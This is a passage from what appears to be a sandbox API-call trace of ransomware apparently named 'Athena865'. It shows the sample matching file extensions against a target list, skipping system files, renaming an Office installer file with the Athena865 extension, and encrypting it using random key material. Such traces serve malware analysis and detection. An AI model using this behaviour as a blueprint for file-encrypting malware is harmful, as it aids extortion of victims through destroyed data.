(lpString1="msi", lpString2="abx") returned 1 [0056.183] lstrlenW (lpString="accdb") returned 5 [0056.183] lstrcmpiW (lpString1="I.msi", lpString2="accdb") returned 1 [0056.183] lstrlenW (lpString="accdc") returned 5 [0056.183] lstrcmpiW (lpString1="I.msi", lpString2="accdc") returned 1 [0056.183] lstrlenW (lpString="accde") returned 5 [0056.183] lstrcmpiW (lpString1="I.msi", lpString2="accde") returned 1 [0056.183] lstrlenW (lpString="accdr") returned 5 [0056.183] lstrcmpiW (lpString1="I.msi", lpString2="accdr") returned 1 [0056.183] lstrlenW (lpString="accdt") returned 5 [0056.183] lstrcmpiW (lpString1="I.msi", lpString2="accdt") returned 1 [0056.183] lstrlenW (lpString="accdw") returned 5 [0056.183] lstrcmpiW (lpString1="I.msi", lpString2="accdw") returned 1 [0056.183] lstrlenW (lpString="accft") returned 5 [0056.183] lstrcmpiW (lpString1="I.msi", lpString2="accft") returned 1 [0056.183] lstrlenW (lpString="adb") returned 3 [0056.183] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0056.183] lstrlenW (lpString="adb") returned 3 [0056.183] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0056.183] lstrlenW (lpString="ade") returned 3 [0056.183] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1 [0056.183] lstrlenW (lpString="adf") returned 3 [0056.183] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1 [0056.183] lstrlenW (lpString="adn") returned 3 [0056.183] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1 [0056.184] lstrlenW (lpString="adp") returned 3 [0056.184] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1 [0056.184] lstrlenW (lpString="alf") returned 3 [0056.184] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1 [0056.184] lstrlenW (lpString="ask") returned 3 [0056.184] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1 [0056.184] lstrlenW (lpString="btr") returned 3 [0056.184] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1 [0056.184] lstrlenW (lpString="cat") returned 3 [0056.184] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1 [0056.184] lstrlenW (lpString="cdb") returned 3 [0056.184] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1 [0056.184] lstrlenW (lpString="ckp") returned 3 [0056.184] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1 [0056.184] lstrlenW (lpString="cma") returned 3 [0056.184] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1 [0056.184] lstrlenW (lpString="cpd") returned 3 [0056.184] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1 [0056.184] lstrlenW (lpString="dacpac") returned 6 [0056.184] lstrcmpiW (lpString1="UI.msi", lpString2="dacpac") returned 1 [0056.184] lstrlenW (lpString="dad") returned 3 [0056.184] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1 [0056.184] lstrlenW (lpString="dadiagrams") returned 10 [0056.184] lstrcmpiW (lpString1="ordMUI.msi", lpString2="dadiagrams") returned 1 [0056.184] lstrlenW (lpString="daschema") returned 8 [0056.184] lstrcmpiW (lpString1="dMUI.msi", lpString2="daschema") returned 1 [0056.184] lstrlenW (lpString="db-journal") returned 10 [0056.184] lstrcmpiW (lpString1="ordMUI.msi", lpString2="db-journal") returned 1 [0056.184] lstrlenW (lpString="db-shm") returned 6 [0056.184] lstrcmpiW (lpString1="UI.msi", lpString2="db-shm") returned 1 [0056.184] lstrlenW (lpString="db-wal") returned 6 [0056.184] lstrcmpiW (lpString1="UI.msi", lpString2="db-wal") returned 1 [0056.184] lstrlenW (lpString="dbc") returned 3 [0056.184] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1 [0056.184] lstrlenW (lpString="dbs") returned 3 [0056.185] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1 [0056.185] lstrlenW (lpString="dbt") returned 3 [0056.185] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1 [0056.185] lstrlenW (lpString="dbv") returned 3 [0056.185] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1 [0056.185] lstrlenW (lpString="dbx") returned 3 [0056.185] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1 [0056.185] lstrlenW (lpString="dcb") returned 3 [0056.185] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1 [0056.185] lstrlenW (lpString="dct") returned 3 [0056.185] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1 [0056.185] lstrlenW (lpString="dcx") returned 3 [0056.185] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1 [0056.185] lstrlenW (lpString="ddl") returned 3 [0056.185] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1 [0056.185] lstrlenW (lpString="dlis") returned 4 [0056.185] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1 [0056.185] lstrlenW (lpString="dp1") returned 3 [0056.185] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1 [0056.185] lstrlenW (lpString="dqy") returned 3 [0056.185] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1 [0056.185] lstrlenW (lpString="dsk") returned 3 [0056.185] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1 [0056.185] lstrlenW (lpString="dsn") returned 3 [0056.185] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1 [0056.185] lstrlenW (lpString="dtsx") returned 4 [0056.185] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1 [0056.185] lstrlenW (lpString="dxl") returned 3 [0056.185] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1 [0056.185] lstrlenW (lpString="eco") returned 3 [0056.185] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1 [0056.185] lstrlenW (lpString="ecx") returned 3 [0056.185] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1 [0056.185] lstrlenW (lpString="edb") returned 3 [0056.185] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1 [0056.186] lstrlenW (lpString="epim") returned 4 [0056.186] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1 [0056.186] lstrlenW (lpString="fcd") returned 3 [0056.186] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1 [0056.186] lstrlenW (lpString="fdb") returned 3 [0056.186] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1 [0056.186] lstrlenW (lpString="fic") returned 3 [0056.186] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1 [0056.186] lstrlenW (lpString="flexolibrary") returned 12 [0056.186] lstrlenW (lpString="fm5") returned 3 [0056.186] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1 [0056.186] lstrlenW (lpString="fmp") returned 3 [0056.186] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1 [0056.186] lstrlenW (lpString="fmp12") returned 5 [0056.186] lstrcmpiW (lpString1="I.msi", lpString2="fmp12") returned 1 [0056.186] lstrlenW (lpString="fmpsl") returned 5 [0056.186] lstrcmpiW (lpString1="I.msi", lpString2="fmpsl") returned 1 [0056.186] lstrlenW (lpString="fol") returned 3 [0056.186] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1 [0056.186] lstrlenW (lpString="fp3") returned 3 [0056.186] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1 [0056.186] lstrlenW (lpString="fp4") returned 3 [0056.186] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1 [0056.186] lstrlenW (lpString="fp5") returned 3 [0056.186] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1 [0056.186] lstrlenW (lpString="fp7") returned 3 [0056.186] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1 [0056.186] lstrlenW (lpString="fpt") returned 3 [0056.186] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1 [0056.186] lstrlenW (lpString="frm") returned 3 [0056.186] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1 [0056.186] lstrlenW (lpString="gdb") returned 3 [0056.186] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0056.186] lstrlenW (lpString="gdb") returned 3 [0056.186] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0056.187] lstrlenW (lpString="grdb") returned 4 [0056.187] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1 [0056.187] lstrlenW (lpString="gwi") returned 3 [0056.187] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1 [0056.187] lstrlenW (lpString="hdb") returned 3 [0056.187] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1 [0056.187] lstrlenW (lpString="his") returned 3 [0056.187] lstrcmpiW (lpString1="msi", lpString2="his") returned 1 [0056.187] lstrlenW (lpString="ib") returned 2 [0056.187] lstrcmpiW (lpString1="si", lpString2="ib") returned 1 [0056.187] lstrlenW (lpString="idb") returned 3 [0056.187] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1 [0056.187] lstrlenW (lpString="ihx") returned 3 [0056.187] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1 [0056.187] lstrlenW (lpString="itdb") returned 4 [0056.187] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1 [0056.187] lstrlenW (lpString="itw") returned 3 [0056.187] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1 [0056.187] lstrlenW (lpString="jet") returned 3 [0056.187] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1 [0056.187] lstrlenW (lpString="jtx") returned 3 [0056.187] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1 [0056.187] lstrlenW (lpString="kdb") returned 3 [0056.187] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1 [0056.187] lstrlenW (lpString="kexi") returned 4 [0056.187] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1 [0056.187] lstrlenW (lpString="kexic") returned 5 [0056.187] lstrcmpiW (lpString1="I.msi", lpString2="kexic") returned -1 [0056.187] lstrlenW (lpString="kexis") returned 5 [0056.187] lstrcmpiW (lpString1="I.msi", lpString2="kexis") returned -1 [0056.187] lstrlenW (lpString="lgc") returned 3 [0056.187] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1 [0056.187] lstrlenW (lpString="lwx") returned 3 [0056.187] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1 [0056.188] lstrlenW (lpString="maf") returned 3 [0056.188] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1 [0056.188] lstrlenW (lpString="maq") returned 3 [0056.188] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1 [0056.188] lstrlenW (lpString="mar") returned 3 [0056.188] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1 [0056.188] lstrlenW (lpString="marshal") returned 7 [0056.188] lstrcmpiW (lpString1="MUI.msi", lpString2="marshal") returned 1 [0056.188] lstrlenW (lpString="mas") returned 3 [0056.188] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1 [0056.188] lstrlenW (lpString="mav") returned 3 [0056.188] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1 [0056.188] lstrlenW (lpString="maw") returned 3 [0056.188] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1 [0056.188] lstrlenW (lpString="mdbhtml") returned 7 [0056.188] lstrcmpiW (lpString1="MUI.msi", lpString2="mdbhtml") returned 1 [0056.188] lstrlenW (lpString="mdn") returned 3 [0056.188] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1 [0056.188] lstrlenW (lpString="mdt") returned 3 [0056.188] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1 [0056.188] lstrlenW (lpString="mfd") returned 3 [0056.188] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1 [0056.188] lstrlenW (lpString="mpd") returned 3 [0056.188] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1 [0056.188] lstrlenW (lpString="mrg") returned 3 [0056.188] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1 [0056.188] lstrlenW (lpString="mud") returned 3 [0056.188] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1 [0056.188] lstrlenW (lpString="mwb") returned 3 [0056.188] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1 [0056.188] lstrlenW (lpString="myd") returned 3 [0056.188] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1 [0056.188] lstrlenW (lpString="ndf") returned 3 [0056.188] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1 [0056.188] lstrlenW (lpString="nnt") returned 3 [0056.188] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1 [0056.189] lstrlenW (lpString="nrmlib") returned 6 [0056.189] lstrcmpiW (lpString1="UI.msi", lpString2="nrmlib") returned 1 [0056.189] lstrlenW (lpString="ns2") returned 3 [0056.189] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1 [0056.189] lstrlenW (lpString="ns3") returned 3 [0056.189] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1 [0056.189] lstrlenW (lpString="ns4") returned 3 [0056.189] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1 [0056.189] lstrlenW (lpString="nsf") returned 3 [0056.189] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1 [0056.189] lstrlenW (lpString="nv") returned 2 [0056.189] lstrcmpiW (lpString1="si", lpString2="nv") returned 1 [0056.189] lstrlenW (lpString="nv2") returned 3 [0056.189] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1 [0056.189] lstrlenW (lpString="nwdb") returned 4 [0056.189] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1 [0056.189] lstrlenW (lpString="nyf") returned 3 [0056.189] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1 [0056.189] lstrlenW (lpString="odb") returned 3 [0056.189] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0056.189] lstrlenW (lpString="odb") returned 3 [0056.189] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0056.189] lstrlenW (lpString="oqy") returned 3 [0056.189] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1 [0056.189] lstrlenW (lpString="ora") returned 3 [0056.189] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1 [0056.189] lstrlenW (lpString="orx") returned 3 [0056.189] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1 [0056.189] lstrlenW (lpString="owc") returned 3 [0056.189] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1 [0056.189] lstrlenW (lpString="p96") returned 3 [0056.189] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1 [0056.189] lstrlenW (lpString="p97") returned 3 [0056.189] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1 [0056.189] lstrlenW (lpString="pan") returned 3 [0056.190] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1 [0056.190] lstrlenW (lpString="pdb") returned 3 [0056.190] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1 [0056.190] lstrlenW (lpString="pdm") returned 3 [0056.190] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1 [0056.190] lstrlenW (lpString="pnz") returned 3 [0056.190] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1 [0056.190] lstrlenW (lpString="qry") returned 3 [0056.190] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1 [0056.190] lstrlenW (lpString="qvd") returned 3 [0056.190] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1 [0056.190] lstrlenW (lpString="rbf") returned 3 [0056.190] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1 [0056.190] lstrlenW (lpString="rctd") returned 4 [0056.190] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1 [0056.190] lstrlenW (lpString="rod") returned 3 [0056.190] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1 [0056.190] lstrlenW (lpString="rodx") returned 4 [0056.190] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1 [0056.190] lstrlenW (lpString="rpd") returned 3 [0056.190] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1 [0056.190] lstrlenW (lpString="rsd") returned 3 [0056.190] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1 [0056.190] lstrlenW (lpString="sas7bdat") returned 8 [0056.190] lstrcmpiW (lpString1="dMUI.msi", lpString2="sas7bdat") returned -1 [0056.190] lstrlenW (lpString="sbf") returned 3 [0056.190] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1 [0056.190] lstrlenW (lpString="scx") returned 3 [0056.190] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1 [0056.190] lstrlenW (lpString="sdb") returned 3 [0056.190] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1 [0056.190] lstrlenW (lpString="sdc") returned 3 [0056.190] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1 [0056.190] lstrlenW (lpString="sdf") returned 3 [0056.191] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1 [0056.191] lstrlenW (lpString="sis") returned 3 [0056.191] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1 [0056.191] lstrlenW (lpString="spq") returned 3 [0056.191] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1 [0056.191] lstrlenW (lpString="te") returned 2 [0056.191] lstrcmpiW (lpString1="si", lpString2="te") returned -1 [0056.191] lstrlenW (lpString="teacher") returned 7 [0056.191] lstrcmpiW (lpString1="MUI.msi", lpString2="teacher") returned -1 [0056.191] lstrlenW (lpString="tmd") returned 3 [0056.191] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1 [0056.191] lstrlenW (lpString="tps") returned 3 [0056.191] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1 [0056.191] lstrlenW (lpString="trc") returned 3 [0056.191] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0056.191] lstrlenW (lpString="trc") returned 3 [0056.191] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0056.191] lstrlenW (lpString="trm") returned 3 [0056.191] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1 [0056.191] lstrlenW (lpString="udb") returned 3 [0056.191] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1 [0056.191] lstrlenW (lpString="udl") returned 3 [0056.191] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1 [0056.191] lstrlenW (lpString="usr") returned 3 [0056.191] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1 [0056.191] lstrlenW (lpString="v12") returned 3 [0056.191] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1 [0056.191] lstrlenW (lpString="vis") returned 3 [0056.191] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1 [0056.191] lstrlenW (lpString="vpd") returned 3 [0056.191] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1 [0056.191] lstrlenW (lpString="vvv") returned 3 [0056.191] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1 [0056.191] lstrlenW (lpString="wdb") returned 3 [0056.191] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1 [0056.192] lstrlenW (lpString="wmdb") returned 4 [0056.192] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1 [0056.192] lstrlenW (lpString="wrk") returned 3 [0056.192] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1 [0056.192] lstrlenW (lpString="xdb") returned 3 [0056.192] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1 [0056.192] lstrlenW (lpString="xld") returned 3 [0056.192] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1 [0056.192] lstrlenW (lpString="xmlff") returned 5 [0056.192] lstrcmpiW (lpString1="I.msi", lpString2="xmlff") returned -1 [0056.192] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.Athena865") returned 84 [0056.192] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.athena865"), dwFlags=0x1) returned 1 [0056.193] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0056.193] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2522624) returned 1 [0056.193] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0056.193] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0056.193] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0056.193] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0056.194] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0056.194] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0056.194] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x268100, lpName=0x0) returned 0x154 [0056.201] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x68100) returned 0x1f0000 [0056.221] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3000000 [0056.304] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0056.322] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0056.323] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0056.323] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0056.323] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0056.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0056.323] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0056.323] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0056.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0056.324] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0056.324] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0056.324] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0056.324] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0056.324] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0056.324] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0056.328] CloseHandle (hObject=0x154) returned 1 [0056.328] CloseHandle (hObject=0x17c) returned 1 [0056.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0056.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0056.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0056.337] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1 [0056.337] lstrcmpiW (lpString1="WordMUI.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0056.337] lstrcmpiW (lpString1="WordMUI.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0056.337] lstrcmpiW (lpString1="WordMUI.xml", lpString2=".") returned 1 [0056.337] lstrcmpiW (lpString1="WordMUI.xml", lpString2="..") returned 1 [0056.337] lstrcmpiW (lpString1="WordMUI.xml", lpString2="windows") returned 1 [0056.338] lstrcmpiW (lpString1="WordMUI.xml", lpString2="bootmgr") returned 1 [0056.338] lstrcmpiW (lpString1="WordMUI.xml", lpString2="temp") returned 1 [0056.338] lstrcmpiW (lpString1="WordMUI.xml", lpString2="pagefile.sys") returned 1 [0056.338] lstrcmpiW (lpString1="WordMUI.xml", lpString2="boot") returned 1 [0056.338] lstrcmpiW (lpString1="WordMUI.xml", lpString2="ids.txt") returned 1 [0056.338] lstrcmpiW (lpString1="WordMUI.xml", lpString2="ntuser.dat") returned 1 [0056.338] lstrcmpiW (lpString1="WordMUI.xml", lpString2="perflogs") returned 1 [0056.338] lstrcmpiW (lpString1="WordMUI.xml", lpString2="MSBuild") returned 1 [0056.338] lstrlenW (lpString="WordMUI.xml") returned 11 [0056.338] lstrcpyW (in: lpString1=0x241e8c6, lpString2="WordMUI.xml" | out: lpString1="WordMUI.xml") returned="WordMUI.xml" [0056.338] lstrlenW (lpString="WordMUI.xml") returned 11 [0056.338] lstrlenW (lpString="Athena865") returned 9 [0056.338] lstrcmpiW (lpString1="rdMUI.xml", lpString2="Athena865") returned 1 [0056.338] lstrlenW (lpString=".dll") returned 4 [0056.338] lstrcmpiW (lpString1="WordMUI.xml", lpString2=".dll") returned 1 [0056.338] lstrlenW (lpString=".lnk") returned 4 [0056.338] lstrcmpiW (lpString1="WordMUI.xml", lpString2=".lnk") returned 1 [0056.338] lstrlenW (lpString=".ini") returned 4 [0056.338] lstrcmpiW (lpString1="WordMUI.xml", lpString2=".ini") returned 1 [0056.338] lstrlenW (lpString=".sys") returned 4 [0056.338] lstrcmpiW (lpString1="WordMUI.xml", lpString2=".sys") returned 1 [0056.338] lstrlenW (lpString="WordMUI.xml") returned 11 [0056.338] lstrlenW (lpString="bak") returned 3 [0056.338] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0056.338] lstrlenW (lpString="ba_") returned 3 [0056.338] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0056.338] lstrlenW (lpString="dbb") returned 3 [0056.338] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0056.338] lstrlenW (lpString="vmdk") returned 4 [0056.338] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0056.338] lstrlenW (lpString="rar") returned 3 [0056.338] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0056.338] lstrlenW (lpString="zip") returned 3 [0056.338] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0056.339] lstrlenW (lpString="tgz") returned 3 [0056.339] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0056.339] lstrlenW (lpString="vbox") returned 4 [0056.339] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0056.339] lstrlenW (lpString="vdi") returned 3 [0056.339] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0056.339] lstrlenW (lpString="vhd") returned 3 [0056.339] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0056.339] lstrlenW (lpString="vhdx") returned 4 [0056.339] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0056.339] lstrlenW (lpString="avhd") returned 4 [0056.339] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0056.339] lstrlenW (lpString="db") returned 2 [0056.339] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0056.339] lstrlenW (lpString="db2") returned 3 [0056.339] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0056.339] lstrlenW (lpString="db3") returned 3 [0056.339] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0056.339] lstrlenW (lpString="dbf") returned 3 [0056.339] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0056.339] lstrlenW (lpString="mdf") returned 3 [0056.339] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0056.339] lstrlenW (lpString="mdb") returned 3 [0056.339] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0056.339] lstrlenW (lpString="sql") returned 3 [0056.339] lstrcmpiW 